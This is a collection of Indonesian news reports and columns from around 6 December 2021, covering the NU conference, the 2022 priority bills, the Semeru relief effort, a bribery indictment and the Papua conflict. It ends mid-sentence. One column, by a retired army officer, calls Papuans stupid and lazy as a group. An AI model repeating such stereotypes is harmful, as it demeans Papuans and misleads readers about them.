Jakarta, FNN - Barisan Ansor Serbaguna (Banser) menyatakan siap mengamankan Konferensi Besar NU yang akan digelar di Jakarta, Selasa (7/12). "Tanpa diminta pun, Banser akan otomatis terjun menjaga kiai-kiai dan peserta lainnya agar gelaran konbes bisa berjalan aman dan menghasilkan kesepakatan yang bisa bermanfaat banyak, khususnya bagi warga nahdliyin," kata Kepala Satuan Koordinasi Nasional (Satkornas) Banser Hasan Basri Sagala di Jakarta, Senin. Hasan mengatakan personel Banser yang diterjunkan untuk pengamanan konbes dari wilayah DKI Jakarta. Jika memang membutuhkan penambahan personel, ribuan anggota Banser di wilayah Bodetabek juga siap untuk dikerahkan. Selain itu, kata Hasan Basri, untuk melakukan pengamanan ini, Banser juga akan berkoordinasi dengan aparat Polri dan TNI. Hasan Basri berharap meski ada perbedaan pendapat di internal NU, konbes besok tidak diganggu oleh pihak-pihak tertentu. Ia menegaskan bahwa Banser akan menindak tegas jika ada pihak yang sengaja ingin mengacaukan jalannya konbes. "Konbes ini bagian dari amanat organisasi dan disepakati mayoritas PWNU se-Indonesia. Untuk itu, marilah bersama-sama menghormati dan menyukseskan," ucapnya berharap. Sebelumnya Rais Aam PBNU KH Miftachul Ahyar mengatakan Konbes NU untuk memastikan jadwal pelaksanaan muktamar akan digelar pada 7 Desember 2021. Menurut dia, Konbes NU digelar sebagai respons atas permintaan mayoritas Pengurus Wilayah NU (PWNU) yang meminta dilaksanakan konbes untuk memastikan jadwal pelaksanaan muktamar. Sedianya Muktamar Ke-34 NU digelar pada 23-25 Desember 2021 di Provinsi Lampung. Namun, sehubungan dengan rencana pemerintah memberlakukan PPKM level 3 pada akhir Desember 2021 hingga awal Januari 2022 maka waktu pelaksanaan muktamar dijadwal ulang. (sws)

Panja Sepakati 40 RUU Masuk Prolegnas Prioritas 2022

Jakarta, FNN - Wakil Ketua Badan Legislasi (Baleg) DPR RI Willy Aditya mengatakan Rapat Panitia Kerja (Panja) Program Legislasi Nasional (Prolegnas) Prioritas 2022 pada Senin menyepakati 40 Rancangan Undang-Undang (RUU) masuk dalam Prolegnas 2022. "Panja menyepakati sebanyak 40 RUU masuk dalam Prolegnas Prioritas 2022. Setelah ini akan dibawa dalam Rapat Kerja (Raker) Baleg DPR bersama Pemerintah dan DPD RI pada Senin malam," kata Willy di Jakarta, Senin. Dia mengatakan dalam Prolegnas Prioritas 2022 banyak RUU yang merupakan luncuran atau "carry over" dari Prolegnas Prioritas 2021. Karena itu, menurut dia, Prolegnas Prioritas 2022 tidak banyak perubahan dibandingkan Prolegnas 2021 sementara Putusan Mahkamah Konstitusi (MK) meletakkan RUU Kumulatif Terbuka wajib dibahas. "Dalam Rapat Panja tadi yang diusulkan fraksi, pemerintah dan DPD RI ditampung dalam 'long list'. Hanya ada enam RUU baru dalam Prolegnas 2022," ujarnya. Willy mengatakan, keputusan Panja tersebut akan dibawa dalam Raker Baleg bersama pemerintah dan DPD RI pada Senin malam untuk pengambilan keputusan Tingkat I. Rapat Panja tersebut juga menyepakati Prolegnas RUU Perubahan Ketiga Tahun 2020-2024 sebanyak 254 RUU. Selain itu memasukkan satu RUU ke dalam daftar RUU Kumulatif Terbuka, yaitu Rancangan Undang-Undang tentang Perubahan atas Undang-Undang Nomor 11 Tahun 2020 tentang Cipta Kerja. Berikut 40 RUU yang masuk Prolegnas Prioritas 2022. 1. RUU tentang Perubahan Kedua atas Undang-Undang Nomor 32 Tahun 2002 tentang Penyiaran. 2. RUU tentang Perubahan atas Undang-Undang Nomor 5 Tahun 2014 tentang Aparatur Sipil Negara 3. RUU tentang Perubahan atas Undang-Undang Nomor 16 Tahun 2004 tentang Kejaksaan 4. RUU tentang Perubahan atas Undang-Undang Nomor 5 Tahun 1990 tentang Konservasi Sumber Daya Alam Hayati dan Ekosistemnya 5. RUU tentang Perubahan Kedua atas Undang-Undang Nomor 38 Tahun 2004 tentang Jalan 6. RUU tentang Perubahan atas Undang-Undang Nomor 19 Tahun 2003 tentang Badan Usaha Milik Negara 7. RUU tentang Energi Baru dan Terbarukan 8. RUU tentang Perubahan atas Undang-Undang Nomor 24 Tahun 2007 tentang Penanggulangan Bencana 9. RUU tentang Pengawasan Obat dan Makanan. 10. RUU tentang Praktik Psikologi 11. RUU tentang Perubahan atas Undang-Undang Nomor 3 Tahun 2005 tentang Sistem Keolahragaan Nasional 12. RUU tentang Reformasi Pengembangan dan Penguatan Sektor Keuangan 13. RUU tentang Perubahan atas Undang-Undang Nomor 20 Tahun 2013 tentang Pendidikan Kedokteran. 14. RUU tentang Penghapusan Kekerasan Seksual. 15. RUU tentang Larangan Minuman Beralkohol. 16. RUU tentang Perlindungan Pekerja Rumah Tangga 17. RUU tentang Pembentukan Pengadilan Tinggi Kepulauan Riau, Pengadilan Tinggi Sulawesi Barat, Pengadilan Tinggi Kalimantan Utara, dan Pengadilan Tinggi Papua Barat 18. RUU tentang Pembentukan Pengadilan Tinggi Tata Usaha Negara Palembang, Pengadilan Tinggi Tata Usaha Negara Banjarmasin, dan Pengadilan Tinggi Tata Usaha Negara Manado 19. RUU tentang Pembentukan Pengadilan Tinggi Agama Kepulauan Riau, Pengadilan Tinggi Agama Bali, Pengadilan Tinggi Agama Sulawesi Barat, Pengadilan Tinggi Agama Kalimantan Utara, dan Pengadilan Tinggi Agama Papua Barat 20. RUU tentang Bahan Kimia 21. RUU tentang Pelaksanaan Hak dan Kewajiban Anggota DPR RI 22. RUU tentang Perubahan atas UU No.23 Tahun 2019 tentang Pengelolaan Sumber Daya Nasional Untuk Pertahanan Negara 23. RUU tentang Perubahan Kedua atas Undang-Undang Nomor 12 Tahun 2011 Tentang Pembentukan Peraturan Perundang-Undangan 24. RUU tentang Masyarakat Hukum Adat 25. RUU tentang Perlindungan Tokoh Agama dan Simbol Agama 26. RUU tentang Kesejahteraan Ibu dan Anak 27. RUU tentang Pelindungan Data Pribadi 28. RUU tentang Perubahan Kedua atas Undang-Undang No.11 Tahun 2008 tentang Informasi dan Transaksi Elektronik 29. RUU tentang Kitab Undang-Undang Hukum Pidana 30. RUU tentang Perubahan atas Undang-Undang Nomor 12 Tahun 1995 tentang Pemasyarakatan 31. RUU tentang Hukum Acara Perdata 32. RUU tentang Perubahan atas Undang-Undang Nomor 35 Tahun 2009 tentang Narkotika 33. RUU tentang Ibu Kota Negara 34. RUU tentang Perubahan atas Undang-Undang Nomor 1 Tahun 1973 tentang Landas Kontinen Indonesia (RUU tentang Landas Kontinen) 35. RUU tentang Perubahan atas Undang-Undang Nomor 33 Tahun 2004 tentang Perimbangan Keuangan antara Pemerintah Pusat dan Pemerintahan Daerah (RUU tentang Hubungan Keuangan antara Pusat dan Daerah) 36. RUU tentang Wabah (dalam Prolegnas 2020-2024 tertulis: RUU tentang Perubahan atas Undang-Undang Nomor 4 Tahun 1984 tentang Wabah Penyakit Menular) 37. RUU tentang Badan Pembinaan Ideologi Pancasila 38. RUU tentang Desain Industri (dalam Prolegnas 2020-2024, tertulis: RUU Perubahan atas Undang-Undang Nomor 31 Tahun 2000 tentang Desain Industri) 39. RUU tentang Daerah Kepulauan 40. RUU tentang Badan Usaha Milik Desa (sws)

Ketua MPR: Penggunaan NIK untuk Akun Media Sosial Perlu Dikaji

Jakarta, FNN - Ketua MPR RI Bambang Soesatyo mengatakan bahwa pemerintah perlu melakukan kajian yang mendalam terkait penggunaan nomor induk kependudukan (NIK) sebagai syarat untuk membuka akun di media sosial. “Media sosial saat ini bukan lagi sekadar hiburan. Melainkan telah menjadi identitas yang harus diketahui dengan pasti siapa pemiliknya,” kata Bamsoet, sapaan akrab Bambang Soesatyo, dalam keterangan yang diterima di Jakarta, Senin. Ia memperingatkan, jangan sampai seseorang bisa membuat ratusan, bahkan ribuan akun secara bebas yang tidak diketahui secara pasti siapa pemilik dan identitasnya. Kemampuan tersebut dapat mempermudah seseorang untuk melakukan berbagai tindakan yang tidak bertanggung jawab, seperti melakukan tindakan intoleransi, penyebaran paham radikalisme dan ekstremisme, hingga menyebarkan hoaks dan ujaran kebencian. Oleh karena itu, sangat penting bagi pemerintah untuk mengkaji lebih dalam mengenai perlunya penggunaan nomor induk kependudukan (NIK) sebagai syarat untuk membuka akun di media sosial, sebagaimana penggunaan NIK yang telah diterapkan pemerintah untuk melakukan pendaftaran sim card telepon yang cukup berhasil menekan penyalahgunaan kartu prabayar. "Penggunaan NIK KTP sebagai syarat registrasi pembuatan media sosial merupakan salah satu alternatif yang harus dikaji mendalam,” ucap dia. Bamsoet menambahkan, Pemerintah melalui Kementerian Komunikasi dan Informatika bisa menjadi leading sector. Bersama platform media sosial seperti Facebook, Instagram, Twitter, Whatsapp, dan lain sebagainya, pemerintah harus duduk bersama dan membahas penggunaan NIK lebih jauh, termasuk membahas detail jaminan perlindungan data pribadi NIK KTP agar tidak tersebar luas atau bahkan diperjualbelikan oleh pihak yang tidak bertanggung jawab. Ketua DPR RI ke-20 ini menjelaskan, Litbang Kompas dalam survei yang dilakukan pada 17-19 Mei 2021 melalui telepon terhadap responden usia 17-34 tahun melaporkan, media sosial seperti Instagram, WhatsApp, Twitter dan lainnya menjadi sarana yang paling besar dalam melancarkan intoleransi, yakni sebesar 51,9 persen, lalu disusul lingkungan sekitar seperti rumah, sekolah, dan kantor sebanyak 20,7 persen, serta media arus utama seperti TV, koran, majalah, dan lainnya sebanyak 15,7 persen. "Sebelumnya, Badan Nasional Penanggulangan Terorisme (BNPT) pada tahun 2020 melaporkan, potensi Gen-Z (rentang usia 14-19 tahun) terpapar radikalisme mencapai 12,7 persen. Sementara generasi milenial (berumur 20-39 tahun) mencapai 12,4 persen. Gen-Z dan milenial menjadi sasaran empuk lantaran mereka sangat aktif mengakses internet dan pengguna aktif berbagai platform media sosial," tutur Bamsoet menjelaskan. Wakil Ketua Umum Partai Golkar ini menegaskan, Indonesia tidak boleh hancur hanya karena penggunaan media sosial yang tidak bertanggungjawab dan bersumber dari akun anonim maupun buzzer yang tidak bisa dipastikan siapa identitas penyebar beritanya. "Oleh karenanya, agar tidak menjadi senjata liar, setiap pengguna media sosial harus dipastikan memiliki identitas yang jelas dan bisa dipertanggungjawabkan jika seandainya terjadi sesuatu yang tidak diinginkan," kata Bamsoet. (sws)

Jawa Tengah Kirim Bantuan Logistik Sukarelawan Penanganan Letusan Semeru

Semarang, FNN - Pemerintah Provinsi Jawa Tengah mengirim bantuan logistik senilai Rp 934 juta dan puluhan sukarelawan untuk membantu penanganan dampak dari letusan Gunung Semeru di Lumajang, Jawa Timur. Pengiriman bantuan logistik dan sukarelawan dari berbagai unsur, seperti BPBD, PMI, SAR, Tagana, pramuka, LPBINU, serta tim kesehatan itu berlangsung di halaman kantor Gubernur Jateng di Semarang, Senin, 6 Desember 2021. Bantuan logistik yang diberangkatkan oleh Gubernur Jateng Ganjar Pranowo itu tidak hanya terdiri dari kebutuhan pokok, seperti selimut, kasur dan obat-obatan, namun yang lebih spesifik berupa sarung, mukena, sajadah, kasur lipat, popok bayi, pembalut wanita, pakaian dalam, peralatan mandi, genset, air bersih hingga sayuran segar. "Selamat berjuang, bantuan kawan-kawan sangat diperlukan untuk operasi kemanusiaan bagi saudara-saudara kita di Semeru. Tolong begitu datang langsung lapor, dan siap di-BKO-kan dimanapun yang dibutuhkan," kata Ganjar kepada para sukarelawan yang diberangkatkan, sebagaimana dikutip dari Antara. Ganjar juga meminta para sukarelawan mencatat apa saja yang dibutuhkan dan kalau ada yang mendesak segera dikomunikasikan agar bisa segera diberikan bantuan. "Jaga kesehatan, jangan merepotkan," ujarnya. Ganjar mengungkapkan, hingga Minggu, 5 Desember 2021 malam dirinya terus berkomunikasi dengan Gubernur dan Wakil Gubernur Jawa Timur terkait letusan Gunung Semeru, termasuk berkomunikasi dengan sejumlah kepala desa yang ada di sekitar gunung itu. "Hari ini kami mencoba membantu saudara-saudara kita di Gunung Semeru. Dari operasi kemanusiaan ini, saya berharap bisa meringankan beban mereka," katanya. Orang nomor satu di Pemprov Jateng itu mengaku bangga karena jajarannya yang sangat sigap melaksanakan operasi kemanusiaan. Saat dirinya mengatakan akan membantu korban letusan Gunung Semeru, sejumlah instansi, seperti BPBD, PMI, BUMN, BUMD, Baznas, sukarelawan, semuanya langsung bekerja menggalang kekuatan. "Dan hari ini kami kirim bantuan logistik, ada bahan makanan, sarung, mukena, kebutuhan perempuan dan anak-anak, termasuk tangki air ke Jatim, mudah-mudahan bisa membantu," ujarnya. Pelaksana Tugas Kepala BPBD Jateng Safrudin menambahkan bantuan logistik dan tim sukarelawan yang dikirimkan sudah dikoordinasikan dengan Pemprov Jatim. Menurut dia, bantuan apa yang dibutuhkan dan spesifikasi sukarelawan sudah sesuai dengan kebutuhan di lapangan. "Dari koordinasi kami, untuk kebutuhan pengungsi, seperti air mineral, makanan, biskuit, pakaian dalam, kebutuhan perempuan, sarung, selimut, mukena, sajadah, obat-obatan, masker dan sebagainya. Kami juga mengirim genset, tangki air serta sembako dengan sayuran segar ke sana," katanya. Selain itu, tim sukarelawan yang dikirimkan memiliki beragam keahlian, di antaranya menangani logistik, dapur umum, kesehatan, pertukangan untuk pembuatan hunian sementara, psikososial dan sebagainya. (MD).

Pemkot Jakbar Latih Warga Jadi Pengusaha Kuliner Jamur Dan Ikan

Jakarta, FNN - Pemerintah Kota Jakarta Barat melatih 200 warga dari empat kecamatan menjadi pengusaha makanan olahan jamur dan ikan dori, Senin. Mereka menjalani pelatihan yang digelar serempak di empat kecamatan yang tersebar Jakarta Barat. "Ini pelatihan untuk pengolahan hasil pertanian dan perikanan. Digelar di empat kecamatan yakni Tamansari, Grogol Petamburan, Kalideres dan Kembang," kata Kepala Siku Dinas (Kasudin) Ketahanan Pangan Kelautan dan Pertanian (KPKP) Jakarta Barat Iwan Indriyanto saat dikonfirmasi di Jakarta, Senin, 6 Desember 2021. Iwan mengatakan, pelatihan dilaksanakan sebanyak dua kali, yakni hari dan Kamis, 9 Desember 2021, mendatang. Untuk hari ini, para peserta dilatih untuk membudidayakan dan mengelola tanaman jamur tiram. "Jadi narasumber pelatihan hari ini memberi resep mengolah jamur tiram, memberikan contoh budidaya dan pemeliharaan untuk jamur dan sebagainya," kata Iwan, sebagaimana dikutip dari Antara. Peserta diajak untuk masak secara langsung guna mengetahui tata cara mengolah jamur tiram tersebut. Sedangkan untuk perikanan, para peserta dilatih untuk mengolah daging ikan dori. Setelah selesai dengan pelatihan tahap pertama, para peserta akan masuk ke tahap pembinaan dan pemasaran. Di tahap pemasaran ini lah para peserta akan diajarkan cara memasarkan produk agar laris di pasaran. "Kalau sudah mau menjual ya kita arahkan apakah dari sisi rasa atau kemasan atau ukuran sudah bagus atau belum. Cara pemasarannya pun akan kita dampingi," kata dia. Namun demikian, tidak semua peserta harus memasarkan hasil olahannya. Peserta juga boleh hanya mengkonsumsi hasil karyanya untuk sendiri. "Jadi bisa menambah perbendaharaan menu di dapur," kata Iwan. Dia menargetkan peserta yang ikut dalam kegiatan ini adalah 200 untuk peserta pelatihan jamur dan 150 untuk peserta pelatihan ikan. Dia berharap target tersebut bisa tercapai di pelatihan hari kedua yang berlangsung tanggal 9 Desember mendatang. (MD).

TNI dan Papua

Oleh Sugeng Waras Menyedihkan, banyak kebohongan dan ketidakadilan di Jakarta, hampir setiap hari ada unjuk rasa di mana mana, lebih parah lagi, banyak mayat TNI bergelimpangan di Papua. Lantas siapa yang siapa? Tentu salah kita semua. Kok bisa? Padahal TNI generasi penerusku. Mereka kini lebih membaik gajinya, semakin canggih perlengkapan dan senjatanya, serta semakin terampil keprofesionalanya.. Maaf, inilah sekelumit pengalamanku, yang mungkin bisa diambil hikmahnya. Tahun 1974 -- 1976, aku bertugas sebagai Pa Uterpra atau Dan Ramil di Pyramid, Wamena, Kabupaten Jaya Wijaya, Irian Jaya, Papua. Sebelumnya aku bertugas di Timor Timur tahun 1977, dimana tanggung jawab kewilayahan di Papua kisaran tiga hingga sepuluh kali lipat keluasannya dibanding kota, kabupaten, kecamatan dan desa desa di Jawa. CUMEMU (Cuaca, Medan, Musuh) senantiasa menjadi bahan pertimbangan dalam mengambil kmkeputusan untuk cara bertindak menghadapi musuh. Dengan perkiraan, analisis dan perencanaan yang baik dan tepat, minimal kita tidak banyak kerugian, maksimal kita dapat mengalahkan musuh dengan korban sekecil mungkin. Tiap daerah tugas memiliki kekhasan Cumemu yang berbeda-beda. Di Papua ada daerah-daerah pantai, perbatasan, pegunungan, pedalaman, hutan, kampung dan kota dengan tabiat atau adat istiadat penduduk yang berbeda beda pula Orang Papua secara umum boleh dibilang bodoh tapi pintar atau sebaliknya pintar tapi bodoh, namun secara umum kemampuan berperang orang Papua di bawah rata rata kemampuan tentara Paraku, Timor Timur atau GAM, Aceh. Tapi kenapa banyak korban TNI di Papua akhir akhir ini? Kita tinjau dari KASBONMU (Kekuatan, Alat peralatan, Senjata, Bantuan penduduk, Organisasi, Naturalisasi, Militansi, Upaya), dimana kekuatan, alat peralatan, senjata, organisasi, upaya dan militansi sangat kecil / rendah, di sisi lain naturalisasi dan.bantuan penduduk cukup baik. Hal ini kurang mendapat perhatian dan pertimbangan dari prajurit, akhirnya kita kurang menguasai karakter atau kebiasaan gerombolan Papua yang lebih bebas dan lebih menguasai medan dan alam. Dalam menyusun organisasi, relatif kecil / kelompok, dengan sekali kali disusun lebih besar jika akan menyerang Pos TNI yang berkekuatan cukup besar, satu Peleton diperkuat, dengan memanfaatkan kelengahan kita secara pendadakan. Bantuan penduduk, sulit kita pantau, apa lagi jika gerombolan sedang menyamar bercampur penduduk. Upaya upaya musuh tidak menonjol karena sifat pemalas dan cepat rasa puas, namun hal ini tidak boleh diremehkan. Kesalahan Pemerintah Kurang memahami sifat dan karakter penduduk Papua, lambat bereaksi terhadap perubahan perkembangan dan dinamika yang ada. Lebih konyol, ketika melalui Menkopolhukkam, Mahfud MD, mengubah nama dari KKB ( Kelompok Kriminal Bersenjata) menjadi teroris, dimana secara politis mengangkat nama / martabat mereka di dunia Internasional, serta membesarkan dan meninggikan derajat dan moril mereka, layaknya dipandang dan diakui memiliki hubungan dengan teroris internasional, padahal nama KKB mempunyai makna mengecilkan peran dan percaturan politik mereka, karena hanya sebatas kelompok kriminal Bersenjata yang cukup menjadi PR dalam negeri dan tidak perlu campur tangan asing. Kesalahan sebagian rakyat Akibat jengkel atau lain hal, mendorong pasukan BRIMOB diberangkatkan ke Papua guna menghadapi Teroris Papua. Perlu dipahami dalam UU no 34 Th 2004, tentang peransi TNI dalam OMSP ( Operasi Militer Selain Perang ) ada 13 jenis Operasi yang dilakukan oleh TNI, dan Polisi hanya sebagai bantuan yang bertugas digaris belakang ( Dimanapun Teroris Bersenjata berada, menjadi tugas TNI ). Semestinya Polisi yang non combatan / tergolong sipil, tidak perlu dipersenjatai senapan laras panjang. Solusinya Pertahankan dan tingkatkan pengerahan pasukan secara besar besaran, kecuali ada sasaran khusus yang memerlukan kekuatan dan kemampuan khusus Perbanyak mengendap / menyelam, hindari jalan setapak yang biasa mereka lalui, bina dan pelihara partisan atau TBO ( Tenaga Banruan Operasi ) secukupnya. Selalu waspada dan jangan pernah lengah atau anggap remeh musuh. Adakan.variasi gerakan dan tekanan yang tidak pernah kendor. Jaga moril tinggi, yakin musuh tidak kuat, segera pelajari dan sesuaikan dengan tempat yang baru, dan jangan lupa berdoa. Pemerintah seharusnya cabut sebutan Teroris, kembalikan semula menjadi KKB. Perlu dipahami, BRIMOB hanya bertugas menghadapi teroris yang tidak bersenjata, atau bersenjata laras pendek *) Purnawirawan TNI AD.

Azis Syamsuddin Didakwa Suap Bekas Penyidik KPK Rp 3,619 Miliar

Jakarta, FNN - Mantan Wakil Ketua DPR Muhammad Azis Syamsuddin didakwa memberi suap senilai Rp 3,099 miliar dan 36 ribu dolar AS sehingga totalnya sekitar Rp 3,619 miliar kepada eks penyidik KPK Stepanus Robin Pattuju dan advokat Maskur Husain terkait pengurusan penyelidikan KPK di Lampung Tengah. "Muhammad Azis Syamsuddin telah memberi uang secara bertahap yang seluruhnya berjumlah Rp 3.099.887.000 dan 36 ribu dolar Singapura kepada Stepanus Robin Pattuju selaku penyidik KPK dan Maskur Husain dengan maksud supaya dibantu mengurus kasus yang melibatkan terdakwa dan Aliza Gunado terkait penyelidikan KPK di Lampung Tengah," kata Jaksa Penuntut Umum (JPU) Lie Putra Setiawan di Pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta, Senin, 6 Desember 2021. Awalnya, KPK melakukan penyelidikan dugaan adanya tindak pidana korupsi berupa penerimaan hadiah atau janji terkait pengurusan Dana Alokasi Khusus (DAK) APBN-P Kabupaten Lampung Tengah Tahun Anggaran 2017 sejak 8 Oktober 2019 dimana diduga ada keterlibatan Azis dan Aliza Gunado sebagai pihak penerima suap. Aliza Gunado adalah mantan Wakil Ketua Umum PP Angkatan Muda Partai Golkar (AMPG) pernah menjadi Direktur Bisnis Badan Usaha Milik Daerah (BUMD) Lampung Jasa Utama sekaligus orang kepercayaan Azis Syamsuddin. "Mengetahui dirinya dan Aliza Gunado ikut diduga sebagai pelaku tindak pidana korupsi penerimaan hadiah terkait pengurusan DAK APBN-P Kabupaten Lampung Tengah, terdakwa kemudian berusaha agar dirinya dan Aliza Gunado tidak dijadikan tersangka oleh KPK, dengan berupaya meminta bantuan kepada penyidik KPK," tambah jaksa Lie, sebagaimana dikutip dari Antara. Azis lalu meminta bantuan seorang anggota Polri Agus Supriyadi untuk dikenalkan dengan penyidik KPK, dan Agus berhasil mengenalkan Azis dengan Stepanus Robin yang menjadi penyidik KPK sejak 15 Agustus 2019 dari unsur Polri. Azis lalu bertemu dengan Stepanus Robin di rumah dinas Azis pada Agustus 2020 guna mengurus kasus yang melibatkan Azis dan Aliza terkait penyelidikan KPK di Lampung Tengah. Stepanus Robin dan Maskur Husain menyampaikan kesediaannya untuk membantu dengan imbalan uang sejumlah Rp 4 miliar dengan perhitungan masing-masing sejumlah Rp 2 miliar dari Azis dan Aliza Gunado, dengan uang muka sejumlah Rp 300 juta dan Azis menyetujuinya. Uang muka diberikan Azis ke Stepanus Robin dan Maskur Husain dengan pembagian Stepanus Robin menerima sejumlah Rp 100 juta dan Maskur Husain menerima Rp 200 juta. Uang ditransfer dari rekening BCA milik Azis secara bertahap sebanyak empat kali masing-masing sejumlah Rp 50 juta yaitu pada 2, 3, 4 dan 5 Agustus 2020. Pada 5 Agustus 2020, Azis kembali memberi uang secara tunai sejumlah 100 ribu dolar AS kepada Stepanus Robin di rumah dinas Azis di di Jalan Denpasar Raya Jakarta Selatan. Saat itu Stepanus Robin datang di antar Agus Susanto. "Uang tersebut sempat Stepanus Robin Pattuju tunjukkan kepada Agus Susanto pada saat di dalam mobil sekaligus menyampaikan bahwa terdakwa meminta bantuan Stepanus Robin yang Agus Susanto pahami terkait kasus terdakwa di KPK," ungkap jaksa. Sebagian uang dolar AS pemberian Azis tersebut yakni sejumlah 36 ribu dolar AS diserahkan kepada Maskur Husain di depan Pengadilan Negeri Jakarta Pusat, sedangkan sisanya sebanyak 64 ribu dolar AS ditukarkan di "money changer" dengan menggunakan identitas Agus Susanto menjadi sejumlah Rp 936 juta. Uang hasil penukaran tersebut sebagian diberikan kepada Maskur Husain sebesar Rp 300 juta pada awal September 2020 di rumah makan Borero Keramat Sentiong. Selain pemberian tersebut pada Agustus 2020 sampai Maret 2021, Azis juga beberapa kali memberikan uang kepada Stepanus Robin dan Maskur Husain yang jumlah keseluruhannya adalah 171.900 dolar Singapura. Stepanus Robin kemudian menukar uang tersebut di "money changer" dengan menggunakan identitas Agus Susanto dan Rizky Cinde Awaliyah (teman Stepanus Robin) menjadi bentuk rupiah sejumlah Rp 1.863.887.000. Sebagian uang tersebut lalu diberikan kepada Maskur Husain yaitu pada awal September 2020 sejumlah Rp1 miliar dan Rp800 juta juga masih pada September 2020. Atas perbuatannya, Azis diancam pidana dengan pasal 5 ayat 1 huruf a atau pasal 13 UU No. 31 tahun 1999 sebagaimana diubah dengan UU No. 20 tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo pasal 64 ayat 1 KUHP. Pasal tersebut mengatur orang yang memberikan hadiah atau janji kepada pegawai negeri atau penyelenggara negara yang menerima pemberian atau janji dapat dipidana paling singkat 1 tahun dan paling lama 5 tahun dan denda minimal Rp 50 juta maksimal Rp 250 juta. (MD).

Jenderal Dudung, dan Tausiah Tak Bersandar

Oleh Ady Amar *) Sebenarnya tidak ada yang salah dengan KSAD Jendral Dudung Abdurachman yang memberikan kuliah shubuh di sebuah masjid di Papua. Pikirnya menjadi jenderal saja bisa, mengapa cuma ceramah agama tidak bisa. Maka, ia berceramah memberi tausiah. Layaknya Ustadz dadakan. Karena orang nomor satu di AD yang memberi tausiah, maka secepat kilat isi tausiah itu menyebar se-nusantara. Dan disikapi banyak pihak dengan berbagai penyikapan. Isi tausiahnya memang tidak biasa, bahkan dikesankan nyeleneh. Masa mengajak umat untuk tidak perlu mendalam dalam memahami agamanya (Islam). Kanjeng Nabi Shalallahu Alaihi wa Salam bahkan meminta umatnya untuk beragama secara kaffah. Dan itu bisa dilakukan jika agama dipelajari secara sempurna. Itu mustahil bisa dilakukan jika tidak serius dalam memahami agama. Tausiah yang disampaikan Jenderal Dudung itu entah bersandar pada ajaran siapa. Padahal beragama (Islam) itu punya tuntunan. Dan kesempurnaan tuntunan, itu yang sebagaimana diajarkan Nabi Shallahu Alaihi wa Salam. Tidak bisa beragama, atau apalagi mengajarkan agama dengan memakai sandaran logika. Jika yang dipakai logika, maka agama bisa ditafsir sesukanya. Itu berbahaya, dan bisa masuk kategori fasik. Semua harusnya dikerjakan atau disampaikan para ahlinya. Tidak boleh merasa bisa semuanya, dan lalu nekat mencoba merasa diri mampu. Apalagi itu menyangkut pemahaman agama, dan itu luas. Agama tidak boleh dianggap kecil, dan lalu di buat mudah seenaknya. Jika tausiah Jenderal Dudung itu disikapi nyinyir banyak pihak, itu juga hal yang wajar. Itu bentuk koreksi, agar tausiah yang tidak tepat tidak menjadi bola liar yang membuat umat khususnya kalangan militer, terkhusus AD menjadi bingung. Maka, respons yang muncul lebih pada berharap agar umat tidak mengamini tausiah tidak bersandar itu. Ganti Profesi "Iman taklid, ada iman ilmu, ada iman iyaan, ada iman haq ( haqqul yakin), dan iman hakikat. Oleh karena itu, banyak sebagian dari orang Islam sering terpengaruh katanya hadis ini, hadis itu, kata Nabi Muhammad SAW. Oleh karenanya jangan terlalu dalam, jangan terlalu dalam mempelajari agama," ujar "Ustadz" Dudung, Minggu (5/12). Sepotong tausiahnya, khususnya "jangan terlalu dalam mempelajari agama", menimbulkan geger di media. Jika tidak media mengangkatnya, maka narasi yang disampaikan itu hilang menguap begitu saja. Media memang akrab acap mengangkat hal yang kontroversial, dan itu menjual. Meski berita yang disajikan itu kualitasnya nol dalam hal edukasi apalagi pencerahan pada pembacanya. Tidak penting. Berita makin kontoversial dan apalagi dari pejabat tinggi sipil atau militer, dipastikan akan makin menjual. Punya daya geger yang lebih dahsyat. Maka Jenderal Dudung, tidak seperti jenderal-jenderal sebelumnya yang irit bicara, atau jika bicara hanya pada tupoksinya saja. Dan itu kurang menjual. Maka, ia memilih hadir terus dalam pusaran pemberitaan. Karenanya, ia akan memproduksi narasi-narasi tidak biasa. Narasi "jangan terlalu dalam mempelajari agama", itu dipertanyakan Kyai Cholil Nafis, salah satu pengurus MUI Pusat, dalam cuitan di Twitternya. Ia perlu mempertanyakan maksud dari narasi, "Apa maksudnya jangan terlalu dalam mempelajari agama?" "Saya menawarkan standardisasi da'i MUI kalau mau berganti profesi sebagai penceramah agama he hee," tawaran dengan kelakar mencubit dari Kyai Nafis. Tambahnya, "Baiknya fokus pada tugas pokoknya aja, yaitu pertahanan negara dan menumpas perusuh dan pembangkang NKRI." Tampaknya Jenderal Dudung Abdurachman ini akan terus menarasikan hal-hal yang tidak sepatutnya disampaikan, dan itu kontroverisal. Yang pasti akan mengundang komentar tidak selayaknya. Pilihannya pada "main-main" menarasikan agama yang tidak sepatutnya, itu masuk wilayah ngeri-ngeri sedap yang mampu mengikis keimanan. Soal yang beginian mestinya tidak jadi pilihannya. Risiko dunia akhirat, Jenderal. (*) *) Kolumnis

Wakil Ketua MPR: Kemerdekaan Palestina Jadi Urusan Indonesia

Jakarta, FNN - Wakil Ketua MPR RI Hidayat Nur Wahid menegaskan bahwa kemerdekaan Palestina menjadi urusan Indonesia sehingga dirinya merasa aneh jika ada yang bilang bahwa Palestina bukan urusan Indonesia. "Itu menandakan bahwa orang tersebut tidak memahami Pancasila dan UUD serta sejarah bangsa, apalagi Palestina adalah negara yang pertama mengakui kemerdekaan Indonesia. Karena itu, sudah semestinya, bangsa Indonesia membalas kebaikan budi Palestina," kata Hidayat Nur Wahid dalam keterangannya di Jakarta, Senin. Pernyataan itu disampaikan HNW pada sosialisasi Empat Pilar MPR RI kerjasama MPR dengan Yayasan Pendidikan Islam Sirojul Mubtadiin Alfikri, Jakarta, Sabtu (5/12). Dia menegaskan bahwa para Bapak Bangsa tidak pernah berhenti berjuang karena terus berjuang, termasuk setelah Indonesia mendapatkan kemerdekaan. Menurut dia, para Bapak bangsa juga istiqamah, menerima dan menerapkan seluruh kesepakatan yang sudah di ambil, salah satunya ditunjukkan Bung Karno. "Pada pelaksanaan Konferensi Asia Afrika, Ir. Soekarno tidak mengundang utusan dari Israel. Dia lebih memilih mengundang perwakilan Palestina. Alasannya, karena saat itu Palestina masih belum merdeka, dan dalam masa penjajahan Israel," katanya. HNW menilai Bung Karno konsisten terhadap cita-cita kemerdekaan yang ditetapkan bersama bapak dan ibu bangsa lainnya dalam pembukaan UUD NRI Tahun 1945 yaitu "sesungguhnya kemerdekaan itu ialah hak segala bangsa, dan oleh sebab itu maka penjajahan di atas dunia harus dihapuskan, karena tidak sesuai 